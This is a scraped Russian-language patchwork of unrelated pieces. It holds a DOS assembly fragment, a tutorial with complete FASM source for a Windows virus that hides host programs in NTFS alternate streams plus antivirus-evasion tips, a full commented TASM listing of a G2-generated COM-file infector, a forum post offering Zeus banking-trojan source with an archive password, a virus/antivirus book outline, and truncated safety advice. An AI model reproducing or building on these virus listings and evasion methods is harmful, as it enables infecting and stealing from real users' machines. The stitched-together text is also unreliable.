AL,B[BX+4] CMP AL,4 JE 0479 ;Masm Mod. Needed CMP AL,6 JE 0479 ;Masm Mod. Needed CMP AL,1 JE 0479 ;Masm Mod. Needed ADD BX,010 LOOP 0463 ;Masm Mod. Needed JMP SHORT RET ;Masm Mod. Needed MOV DL,080 MOV DH,B[BX+5] MOV W[0228],DX ;Masm Mod. Needed MOV AX,W[BX+6] MOV CX,AX MOV SI,6 AND AX,03F CMP AX,SI JBE RET ;Masm Mod. Needed SUB CX,SI MOV DI,BX INC CX MOV W[0226],CX ;Masm Mod. Needed MOV AX,0301 MOV BX,09A4 PUSHF CALL D[09A0] ;Masm Mod. Need
Как написать вирус для windows
Конструирование вирусов — отличный стимул изучать ассемблер. И хотя вирус, в принципе, можно написать и на С, это будет как-то не по-хакерски и вообще неправильно. Следующий далее текст — заметка Криса Касперски, которая раньше не публиковалась. Из нее ты узнаешь, как создаются вирусы и как написать простой вирус для Windows при помощи FASM.
C чего начать писать вирус для windows?
Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.
Файловая система NTFS поддерживает несколько потоков в рамках одного файла
Имя потока отделяется от имени файла знаком двоеточия (:), например my_file:stream
. Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4
, вводим с клавиатуры имя файла и потока данных, например xxx:yyy
, и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx
.
Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу <F4>
и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy
.
Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.
Алгоритм работы вируса
Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.
Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.
В качестве примера архиватора, поддерживающего файловые потоки, можно привести WinRAR. Вкладка «Дополнительно» в диалоговом окне «Имя и параметры архива» содержит группу опций NTFS. В составе этой группы опций есть флажок «Сохранять файловые потоки». Установи эту опцию, если при упаковке файлов, содержащих несколько потоков, требуется сохранить их все.
Архиватор RAR способен сохранять файловые потоки в процессе архивации
Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile
со сброшенным флагом dwSharedMode
до LockFile/LockFileEx
.
Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.
Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.
Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.
Программный код вируса для windows
Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком эти языки неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера. Вот исходный код нашего вируса.
include 'c:\fasm\INCLUDE\WIN32AX.INC'
.data
foo db "foo",0 ; Имя временного файла
code_name db ":bar",0 ; Имя потока, в котором будет...
code_name_end: ; ...сохранено основное тело
; Различные текстовые строки, которые выводит вирус
aInfected db "infected",0
aHello db "Hello, you are hacked"
; Различные буфера для служебных целей
buf rb 1000
xxx rb 1000
.code
start:
; Удаляем временный файл
push foo
call [DeleteFile]
; Определяем наше имя
push 1000
push buf
push 0
call [GetModuleFileName]
; Считываем командную строку
; Ключ filename — заразить
call [GetCommandLine]
mov ebp, eax
xor ebx, ebx
mov ecx, 202A2D2Dh ;
rool:
cmp [eax], ecx ; это '--*'?
jz infect
inc eax
cmp [eax], ebx ; Конец командной строки?
jnz rool
; Выводим диагностическое сообщение,
; подтверждая свое присутствие в файле
push 0
push aInfected
push aHello
push 0
call [MessageBox]
; Добавляем к своему имени имя потока NTFS
mov esi, code_name
mov edi, buf
mov ecx, 100; сode_name_end - code_name
xor eax,eax
repne scasb
dec edi
rep movsb
; Запускаем поток NTFS на выполнение
push xxx
push xxx
push eax
push eax
push eax
push eax
push eax
push eax
push ebp
push buf
call [CreateProcess]
jmp go2exit ; Выходим из вируса
infect:
; Устанавливаем eax на первый символ имени файла-жертвы
; (далее по тексту dst)
add eax, 4
xchg eax, ebp
xor eax,eax
inc eax
; Здесь можно вставить проверку dst на заражение
; Переименовываем dst в foo
push foo
push ebp
call [MoveFile]
; Копируем в foo основной поток dst
push eax
push ebp
push buf
call [CopyFile]
; Добавляем к своему имени имя потока NTFS
mov esi, ebp
mov edi, buf
copy_rool:
lodsb
stosb
test al,al
jnz copy_rool
mov esi, code_name
dec edi
copy_rool2:
lodsb
stosb
test al,al
jnz copy_rool2
; Копируем foo в dst:bar
push eax
push buf
push foo
call [CopyFile]
; Здесь не помешает добавить коррекцию длины заражаемого файла
; Удаляем foo
push foo
call [DeleteFile]
; Выводим диагностическое сообщение,
; подтверждающее успешность заражения файла
push 0
push aInfected
push ebp
push 0
call [MessageBox]
; Выход из вируса
go2exit:
push 0
call [ExitProcess]
.end start
Компиляция и тестирование вируса для windows
Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте flatassembler.net. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.
Скачай последнюю версию FASM для Windows, распакуй архив и запусти приложение fasmw.exe. Скопируй исходный код вируса в окошко программы и выполни команды Run → Compile, а затем укажи, в какую папку сохранить скомпилированный исполняемый файл.
Запустим его на выполнение с опцией командной строки --*
, вписав после нее имя файла, который требуется заразить, например notepad.exe (xcode.exe --* notepad.exe
). Появление диалогового окна, показанного на рисунке, говорит, что вирус внедрен в исполняемый файл блокнота.
Диалоговое окно, свидетельствующее об успешном заражении
Если попытка заражения потерпела неудачу, первым делом необходимо убедиться, что права доступа к файлу есть. Захватывать их самостоятельно наш вирус не умеет. Во всяком случае — пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.
Теперь запусти зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно, показанное на рисунке, а после нажатия на кнопку ОK
передает управление оригинальному коду программы.
Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение
Чтобы фокус сработал в Windows 10, вирус должен быть запущен от имени администратора.
Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной начинкой. Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.
Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду notepad.exe --* sol.exe
. Кстати говоря, ни один пользователь в здравом уме не будет самостоятельно заражать файлы через командную строку. Поэтому вирусописатель должен будет разработать процедуру поиска очередного кандидата на заражение.
До сих пор рассматриваемый вирус действительно был абсолютно безобиден. Он не размножается и не выполняет никаких злонамеренных или деструктивных действий. Ведь он создан лишь для демонстрации потенциальной опасности, подстерегающей пользователей NTFS. Исследовательская деятельность преступлением не является. Но вот если кто-то из вас решит доработать вирус так, чтобы он самостоятельно размножался и совершал вредоносные действия, то следует напомнить, что это уже станет уголовно наказуемым деянием.
Так что вместо разработки вредоносной начинки будем совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл станет неработоспособным. Вот беда! Как же ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Для этого следует вызвать функцию CreateFile
, передать ей имя файла вместе с потоком (например, notepad.exe:bar
) и проверить результат. Если файл открыть не удалось, значит, потока bar
этот файл не содержит и, следовательно, он еще не заражен. Если же файл удалось успешно открыть, стоит отказаться от заражения или выбрать другой поток. Например: bar_01
, bar_02
, bar_03
.
Еще одна проблема заключается в том, что вирус не корректирует длину целевого файла и после внедрения она станет равной 4 Кбайт (именно таков размер текущей версии исполняемого файла вируса). Это плохо, так как пользователь тут же заподозрит подвох (файл explorer.exe, занимающий 4 Кбайт, выглядит довольно забавно), занервничает и начнет запускать антивирусы. Чтобы устранить этот недостаток, можно запомнить длину инфицируемого файла перед внедрением, затем скопировать в основной поток тело вируса, открыть файл на запись и вызвать функцию SetFilePointer
для установки указателя на оригинальный размер, увеличивая размер инфицированного файла до исходного значения.
Заключение
Предложенная стратегия внедрения, конечно, неидеальна, но все же это намного лучше, чем прописываться в реестре, который контролируется множеством утилит мониторинга. Наконец, чтобы не пострадать от своего же собственного вируса, каждый вирусописатель всегда должен иметь под рукой противоядие. Командный файл, приведенный в следующем листинге, извлекает оригинальное содержимое файла из потока bar
и записывает его в файл reborn.exe
.
more < %1:bar > reborn.exe
ECHO I’m reborn now!
Используй полученные знания с осторожностью, изучай ассемблер, не забывай мыть руки перед едой и всегда помни о том, что создание вирусов в каких-либо иных целях, кроме исследовательских, не только очень веселое, но еще и противозаконное занятие. А закон, как любил говорить один литературный персонаж, надо чтить!
Click to rate this post!
[Total: 1 Average: 5]
Путеводитель по написанию вирусов: 1. Первые шаги — вирусы времени выполнения
;—[ РЕЗАТЬ ЗДЕСЬ ]———————————————————
; Очень простой вирус. Hе компилировать. Hе распространять.
; Если вы сделаете копию этого вируса… Вы будете ламером!
; Hо я надеюсь, что он поможет вам стать из начинающего VXера продвинутым ;).
; И тогда потом вы отблагодарите меня 🙂
; Компилируйте с помощью: TASM /m3 lame.asm
; Линкуйте: TLINK /t lame.obj
; Вирус сгенерирован G2 0.70c (Смотрите, я не удалил сигнатуры. Это не мое!
; Самая ламерская вещь, которую вы можете сделать — это удалить сигнатуры.
; Hе забудьте об этом!)
; G2 написан Dark Angel из Phalcon/Skism
; File: LAME.ASM
.model tiny
.code
org 0100h
carrier:
db 0E9h,0,0 ; jmp start
start:
mov bр, sр ; Противоотладочное получение дельта-смещения!
int 0003h ; Int для брикпоинтов
next:
mov bp, ss:[bp-6]
sub bp, offset next
;—————————————————————————-
; Объяснение:
; Давайте посмотрим. Когда мы заражаем файл, все смещения изменяются на
; размер тела жертвы, поэтому мы выбираем регистр (обычно BP или SI), куда
; мы помещаем размер файла, и каждый раз, когда мы используем переменную или
; что-то в этом pоде, мы должны добавить pегистp, используемый как
; дельта-смещение (здесь BP).
;—————————————————————————-
mov dl, 0000h ; Диск по умолчанию
mov ah, 0047h ; Получаем директорию
lea si, [bp+offset origdir+1]
int 0021h
lea dx, [bp+offset newDTA]
mov ah, 001Ah ; устанавливаем DTA
int 0021h
;—————————————————————————-
; Объяснение:
; Первый блок сохраняет текущую директорию в переменной для последующего
; возвращения. Посмотрите в то место данного пособия, где находится описание
; структуры DTA. DTA (Disk Transfer Address) начинается в байте 80h PSP
; (Program Segment Prefix), где также находится командная строка. И вам,
; наверное, интересно… Что случится, если мы используем DTA с командной
; строкой? Это одна из причин сохранения DTA (кроме того, что мы используем
; его в своих целях, pазумеется) 😉
;—————————————————————————-
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb ; Двигаем первый байт
movsw ; Двигаем следующие два
mov byte ptr [bp+numinfect], 0000h
;—————————————————————————-
; Объяснение:
; Эта процедура восстанавливает 3 оригинальных первых байтов зараженного
; com-файла, находящихся выше смещения 100h, а также сохраняющих эти смещения
; в DI для последующего использования. Последняя строка устанавливает
; счетчик количества заражений в 0.
;—————————————————————————-
traverse_loop:
lea dx, [bp+offset COMmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; выходим, если заражен достаточное
; количество файлов
mov ah, 003Bh ; CHDIR
lea dx, [bр+offset dot_dot] ; переходим к следующей директории
int 0021h
jnc traverse_loop ; цикл, если нет ошибки
exit_traverse:
lea si, [bp+offset origdir]
mov byte ptr [si], ‘\’
mov ah, 003Bh ; восстанавливаем директорию
xchg dx, si
int 0021h
;—————————————————————————-
; Объяснение:
; Все, что мы делаем здесь, это заражение всех файлов в текущей директории,
; после чего мы меняем директорию на ..
; А когда больше доступных директорий нет, мы восстанавливаем текущую.
;—————————————————————————-
mov dx, 0080h ; в PSP
mov ah, 001Ah ; восстанавливаем DTA по умолчанию
int 0021h
return:
ret
;—————————————————————————-
; Объяснение:
; Здесь мы восстанавливаем оригинальный адрес полученнго DTA по смещению 80h
; в PSP, а затем возвращаемся к исходному смещению 100h, чтобы выполнить
; файл обычным образом 😉 (Помните, что мы зарushили di, когда он был равен
; 100h)
;—————————————————————————-
old3 db 0cdh,20h,0
infect:
mov ah, 004Eh ; находим первый
mov cx, 0007h ; все файлы
findfirstnext:
int 0021h
jc return
;—————————————————————————-
; Объяснение:
; Здесь мы ищем в текущей директории файлы, соответствующие шаблону,
; заданному в DX (в данном примере "*.COM"), с любым видом атрибутов.
; Old3 — это переменная, которая обрабатывает первые три байта выполняющегося
; зараженного COM’а. Если не был найден никакой файл, возвращается флаг
; переноса, а затем мы переходим к процедуре, которая возвращает контрол
; нашей основной программе. Если мы находим по крайней мере один подходящий
; файл, мы переходим к следующему коду, а закончив работу с файлом, мы ищем
; другой.
;—————————————————————————-
cmp word ptr [bp+newDTA+35], ‘DN’ ; Check if COMMAND.COM
mov ah, 004Fh ; Set up find next
jz findfirstnext ; Exit if so
;—————————————————————————-
; Объяснение:
; Для того, чтобы не заразить command.com, проверяем, есть ли в позиции
; name+5 (DTA+35) слово DN (ND, но слова сохраняются в обратном порядке!)
;—————————————————————————-
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx
mov ax, 4301h ; очищаем атрибуты файла
рush ax ; сохраняем для последующего использования
xor cx, cx
int 0021h
;—————————————————————————-
; Объяснение:
; У первого блока есть двойная функция: сохранение атрибутов файла для
; последующего восстановления, а также проверяем, существует ли файл или
; здесь есть какие-то проблемы. Второй сохраняет в стеке 4301h (функция для
; установления атрибутов), а также очищает файл от нежелательных атрибутов,
; таких как read-only :).
;—————————————————————————-
lea dx, [bp+newDTA+30]
mov ax, 3D02h ; открываем R/O
int 0021h
xchg ax, bx ; хэндл в BX
mov ax, 5700h ; получаем время/дату создания файла
int 0021h
push cx
push dx
;—————————————————————————-
; Объяснение:
; Первый блок открывает файл в режиме чтения/записи, а затем помещает хэндл
; файла в BX, где он будет более полезен.
; Второй блок инструкций получает время и дату создания файла, а затем
; сохраняет их в стеке.
;—————————————————————————-
mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h
xor cx, cx
xor dx, dx
mov ax, 4202h
int 0021h
;—————————————————————————-
; Объяснение:
; Первый блок считывает 1Ah байтов (26) в переменную readbuffer, чтобы
; провести последующие сравнения. Второй блок перемещает указатель на конец
; файла по двум причинам: размер файла будет помещен в AX, и это потребуется
; нам для последующего добавления
;—————————————————————————-
cmp word ptr [bp+offset readbuffer], "ZM"
jz jmp_close
mov cx, word ptr [bp+offset readbuffer+1] ; местонахождение jmp
add cx, heaр-start+3 ; конвертируем в размер файла
cmр ax, cx ; равны, если файл уже заражен
jl skipp
jmp_close:
jmp close
;—————————————————————————-
; Объяснение:
; Первый блок сравнивает два первых байта открытого COM-файла, чтобы увидеть,
; является ли он переименованным EXE (помните, что слова храняться в
; перевернутом порядке). Второй блок проверяет предыдущее заражение,
; сравнивая размер вируса + размер жертвы (до того, как она была заражена) с
; текущим размером последней.
;—————————————————————————-
skipp:
cmр ax, 65535-(endheaр-start) ; проверяем, не слишком ли он велик
ja jmp_close ; выходим, если так
lea di, [bp+offset old3]
lea si, [bp+offset readbuffer]
movsb
movsw
;—————————————————————————-
; Объяснение:
; Первый блок инструкций проверяет размер COM, чтобы убедиться в возможности
; его заражения (размер файла + размер вируса не должен быть больше 0FFFFh
; (65535), потому что в противном случает PSP и/или стек повредят код.
; Второй блок перемещает значение переменной old3 (3 байта) в readbuffer.
;—————————————————————————-
sub ax, 0003h ; Virus_size-3 (размер перехода)
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h ; опкод jmp
mov byte ptr [bp+offset readbuffer], dl
lea dx, [bp+offset start] ; начало того, что добавляем
mov cx, heap-start ; pазмеp добавления
mov ah, 0040h ; добавляем вирус
int 0021h
;—————————————————————————-
; Объяснение:
; Первый блок высчитывает переход на код вируса, а затем сохраняет результат
; в переменной. Второй блок добавляет вирус к телу жертвы :).
;—————————————————————————-
mov ax, 4200h
xor dx, dx
xor cx, cx
int 0021h
mov cx, 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
int 0021h
inc [bp+numinfect]
;—————————————————————————-
; Объяснение:
; Первый блок перемещает файловый указателя на начало файла, а второй
; записывает туда переход на код вируса.
; Третий увеличивает значение переменной, которая содержит количество
; сделанных заражений.
;—————————————————————————-
close:
mov ax, 5701h ; восстанавливаем время/дату создания файла
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
рoр ax ; восстанавливаем атрибуты файла
pop dx ; получаем имя файла и
рoр cx ; атрибуты из стека
int 0021h
mov ah, 004Fh ; находим следующий файл
jmp findfirstnext
;—————————————————————————-
; Объяснение:
; Первый блок инструкция восстанавливает время и дату создания файла, которые
; были сохранены в DTA. А второй закрывает файл, в то время как третий
; восстанавливает старые атрибуты зараженного файла.
; Последний блок помещает в AX досовскую функцию FindNext, после чего
; переходит к дальнейшему поиску файлов для заражения.
;—————————————————————————-
signature db "[PS/Gэ]",0 ; Phalcon/Skism G2 ( old!! )
COMmask db "*.COM",0 ; должен быть ASCIIZ (Ascii-строка,0)
dot_dot db "..",0 ; новая директория
heaр: ; эти данные отправляются в кучу
newDTA db 43 dup (?) ; pазмеp DTA, 2Bh
origdir db 65 duр (?) ; где сохранять старую директорию
numinfect db ? ; обрабатывает количество заражений
readbuffer db 1ah dup (?) ; буфеp
endheap:
end carrier
;—[ CUT HERE ]————————————————————-
Исходник вируса Zeus 2.0.8.9 | Ру-Сфера: Исследование защиты и обсуждение IT-безопасности
Троянские программы семейства ZBot (ZeuS) появились в 2007 году. Благодаря простоте конфигурации и удобству использования для кражи веб-данных, ZeuS стал одной из самых распространяемых и продаваемых программ-шпионов на черном рынке интернета.
Работа трояна в системе жертвы:
Все, что запоминается на компьютере, становится доступным и для трояна, будь то логины, пароли или какие-то другие данные, например, для автозаполнения полей на веб-страничках;
Троян следит за нажатием вами клавиши, и введенной последовательностью символов, которая дает допуск к вашим деньгам;
Чтобы избежать «подсматривания» вводимых с клавиатуры данных, на сайтах зачастую используется такой инструмент, как виртуальная клавиатура. При вводе пароля вы щелкаете левой кнопкой мыши по клавишам клавиатуры, которая отображается на экране монитора. В этом случае ZeuS включает другой механизм перехвата данных пользователя: как только вы нажимаете левую кнопку мыши, ZeuS запоминает картинку — область экрана вокруг курсора. Так что злоумышленник будет знать, какие клавиши вы выбирали на экране мышкой;
ZeuS контролирует все данные, проходящие через ваш браузер. Если вы попытаетесь открыть веб-страницу, адрес которой присутствует в файле конфигурации ZeuS, троян может изменить скачанный код страницы до того, как вы увидите ее в окне браузера. Изменение представляет собой добавление новых полей для ввода личных и секретных данных. Ну попросил у вас банк (а вы же уверены, что находитесь на сайте банка), кроме пользовательского пароля, ввести еще и ваш пин-код для карты. Но это уловка мошенника! Запрос пин-кода добавил ZeuS, а в изначальном коде странички банка такого запроса не было! Введенный пин-код троянец перехватывает и отправляет своему хозяину;
Некоторые сайты, когда вы регистрируетесь на них, создают на вашем компьютере специальные цифровые подписи, достоверность которых проверяется при последующих посещениях. Такие подписи называются сертификатами. Если ваш браузер не предоставит сайту соответствующего сертификата, сайт не даст вам полноценного доступа. На зараженном компьютере ZeuS находит такие сертификаты безопасности, крадет их и пересылает злоумышленнику;
Если злоумышленнику понадобится ваш компьютер как инструмент для совершения противозаконных действий (например, для рассылки спама), то ZeuS предоставит своему хозяину возможность установить на зараженной машине все необходимое для этого программное обеспечение.
В случае заражения вашего компьютера троянцем ZeuS, преступник вас либо ограбит, либо, если взять у вас нечего — у него будет возможность использовать ваш компьютер в своих преступных целях.
Зараженные компьютеры, связанные с одним «хозяином», составляют так называемую зомби-сеть. Злоумышленник управляет попавшимися в его сети компьютерами, что пользователи могут даже не догадываться об этом. В то время, когда с их компьютеров рассылается спам или злоумышленник использует их выход в интернет для скрытия своей точки доступа во всемирную паутину. Месяцами жертвы могут пребывать в блаженном неведении, что их компьютеры участвуют в преступных махинациях.
С момента появления первой версии ZeuS и по настоящее время зафиксировано более сорока тысяч разновидностей этой троянской программы. ZeuS регулярно меняет свой вид. Например, уже находясь в зараженной системе, он обновляется с меняющихся интернет-адресов. Поэтому для пользователей, на компьютеры которых загрузились новые версии троянца, толку от «противоядия» для предыдущих версий будет немного. Один из вариантов борьбы — как можно быстрее реагировать на обновления ZeuS. Оперативность в данном случае имеет очень большое значение.
А по количеству различных вариаций, по количеству адресов, куда стекаются данные для злоумышленника и откуда отправляются команды на зомби-компьютеры (такие адреса называются центрами управления), ZeuS занимает одну из лидирующих позиций среди незаконного ПО.
Язык и IDE программирования (Исходника):
Visual C++ (текущая версия 9.0). Не используются дополнительные библиотеки (crtl, mfc, и т.д.).
В архиве есть подробная инструкция по использованию, читаем manual_ru.html.
Пароль:111
Пишем вирус и антивирус
Небольшое вступление
Текст далее приводим исключительно в образовательных целях. Для того, чтобы иметь возможность написать антивирус, необходимо знать механику работы вируса.
Пишем вирус… и антивирус для IBM-совместимых компьютеров. Петр Хижняк
Содержание
Введение
Глава 1. Вирус и антивирус.
Глава 2. Пишем вирус
2.1 С чего начать?
2.2 Передача управления вирусу
2.3 Восстановление программы-носителя
2.4 Сохранение DTA
2.5 Область данных вируса
2.6 Поиск жертвы
2.7 Жертва найдена?
2.8 Вирус размножается
2.9 Обработка ошибок
2.10 Текст программы VIRUS775.ASM
Глава 3. Пишем антивирус
3.1 Как искать сигнатуру вируса
3.2 Листинг программы VIRUS775.ASM
3.3 Подбираем сигнатуру
3.4 Что должен делать антивирус
3.5 Область данных антивируса
3.6 Антивирус начинает работу
3.7 Читаем командную строку
3.8 Заказываем память
3.9 Ищем зараженные файлы
3.10 Длинные и короткие файлы
3.11 Ищем сигнатуру вируса
3.12 Лечим зараженный файл
3.13 Записываем вылеченный файл
3.14 Антивирус "умывает руки"
3.15 Текст программы ANTI775.ASM
Глава 4. Кто выиграет войну?
4.1 Создаем исполняемые программы
4.2 Заражаем COMMAND.COM
4.3 Проверяем работу антивируса
4.4 Вместо послесловия
Аннотация литературы по компьютерным вирусам
Введение Компьютерные вирусы, едва появившись на свет, повергли в смятение компьютерную общественность, которая привыкла полагаться на компьютеры как на верных и, главное, надежных помощников в своей работе. И вдруг - как молнии - в печати под громкими заголовками замелькали сообщения об эпидемии, вызванной компьютерными вирусами. Компьютеры как бы вырвались из-под власти человека: программиста, оператора, пользователя - и их поведение, до этого совершенно спокойное и пристойное, перестало быть предсказуемым. Более того, компьютеры стали опасными. Нет, не для человека - для программ и данных, которыми он пользуется. Однако, если небольшая ошибка в программе, управляющей, например, ядерным реактором, может привести к его аварии (и это уже случалось!), то каких бед может натворить компьютер, "заболевший" вирусом и в больном угаре, скажем, запустивший ракету с атомной боеголовкой? Возможны и менее опасные действия компьютера: неверная обработка важных финансовых документов, порча бесценной научной или медицинской информации... Да мало ли что еще может натворить компьютер, которому человек доверил управлять теми или иными важными процессами в производстве и в жизни. Осознав все это и почувствовав на себе коварство невидимых врагов, человек сразу встал на борьбу с ними. Откуда же взялись компьютерные вирусы, что это такое и как с ними бороться? Понимая, что большинство читателей этой книги прекрасно знает ответ, по крайней мере, на первый из этих вопросов, мы опустим его подробное освещение и перейдем сразу ко второму, а затем и к третьему. Итак, больное самолюбие в одних случаях, желание выделиться в других и жажда мести в третьих - породили вандалов в чинной среде программистов. Их изобретательность не знает границ. Современные компютерные вирусы - это программы, которые не только размножаются и живут самостоятельной жизнью, но которые обманывают, скрываются, убивают другие программы! Полный набор терминов из криминальной хроники. Поэтому и методы борьбы с компьютерными вирусами тоже напоминают методы Шерлока Холмса. Слежка, ловля "на живца", обыски, производимые антивирусными программами в памяти компыютера и на диске - чем не детективный роман? Однако борьба с вирусами - дело не столько захватывающее, сколько сложное, требующее особою внимания, терпения, вдумчивости и твердых знаний. Итак - приступим к борьбе. Глава 1. Вирус и антивирус. 1.2 Описание простейшего вируса. Начнем с определений. Вирусом называют программу, которая помимо желания пользователя компьютера выполняет действия, мешающие его нормальной работе. Характерными чертами вирусов являются следующие:
Код вируса (или его часть) внедряется в другие программы. А программами являются, например, загрузочная запись (boot record) и системный загрузчик (master boot record), драйверы, оверлейные файлы и т.п.
Код вируса попадает в память или на внешние накопители, а также выполняется помимо воли пользователей и операторов ЭВМ.
Действия вируса вызывают различные вредные последствия: замедление работы компьютера, порча программ и данных, искажение результатов ввода / вывода, засорение оперативной памяти и внешних носителей и др.
Существует много типов вирусов, познакомиться с которыми подробно читатель сможет, прочитав литературу, список которой приведен в конце данной книги. Мы же рассмотрим работу простейшего файлового вируса, поражающего .COM-файлы и не являющегося резидентным. Такой вирус, будучи однажды выпущенным "на волю", заражает программы следующим образом. Первым делом, получив управление при запуске зараженной программы, вирус ищет на доступном диске файлы с расширением .COM. Найдя подходящий файл (т.е. перемещаемую программу), вирус записывает свой код за последним оператором (т.е. в "хвост") этой программы, а затем на
Распространенные источники заражения компьютерными вирусами
Кажется, ни дня не может пройти, чтобы не услышать о том, что кто-то потерял состояние из-за заражения компьютерным вирусом. Вирусные атаки происходят все чаще во всем мире, и нет сомнений в том, что они представляют собой серьезную проблему. Следует принимать все возможные меры, чтобы обезопасить себя от злонамеренных атак. Взгляните на некоторые из основных источников вирусных атак.
Загрузка программ
Программы, содержащие загружаемые файлы, являются наиболее распространенным источником вредоносных программ, таких как бесплатные программы, черви и другие исполняемые файлы.Независимо от того, загружаете ли вы программу для редактирования изображений, музыкальный файл или электронную книгу, важно обеспечить надежность источника мультимедиа. Следует избегать неизвестных, новых или менее популярных источников.
Пиратское или взломанное программное обеспечение
Известно ли вам о программном взломе ? Что ж, каждый раз, когда вы открываете взломанное программное обеспечение, ваше антивирусное программное обеспечение может пометить его как вредоносное ПО, поскольку взломы состоят из вредоносных сценариев. Всегда говорите «Нет» взломщикам, поскольку они могут внедрить вредоносный сценарий в ваш компьютер.
Вложения электронной почты
Кто угодно может отправить вам вложение электронной почты, независимо от того, знаете вы его или нет. Нажатие на неизвестные ссылки или вложения может нанести вред вашему устройству. Дважды подумайте, прежде чем что-либо щелкнуть, и убедитесь, что тип файла не «.exe».
Интернет
Один из самых простых способов заразить ваше устройство вирусом — через Интернет. Обязательно проверьте URL-адрес перед доступом к любому веб-сайту. Для защищенного URL всегда ищите в нем «https».Например, когда вы нажимаете видео, опубликованные на веб-сайтах социальных сетей, они могут потребовать от вас установить определенный тип плагина для просмотра этого видео. Но на самом деле эти плагины могут быть вредоносными программами, которые могут украсть вашу конфиденциальную информацию.
Загрузочные данные с неизвестных компакт-дисков
Вредоносное ПО может попасть в ваше устройство через неизвестный компакт-диск. Хорошей практикой для защиты от вредоносного заражения является извлечение компакт-диска, когда ваше устройство вообще не работает.Ваша система может перезагрузить компакт-диск, если его не вынуть перед выключением компьютера.
Bluetooth
Bluetooth-передача также может заразить вашу систему, поэтому крайне важно знать, какой тип медиафайла отправляется на ваш компьютер, когда происходит передача. Эффективная защита могла бы разрешить соединение Bluetooth только с известными устройствами и активировать его только при необходимости.
Неустановленное программное обеспечение
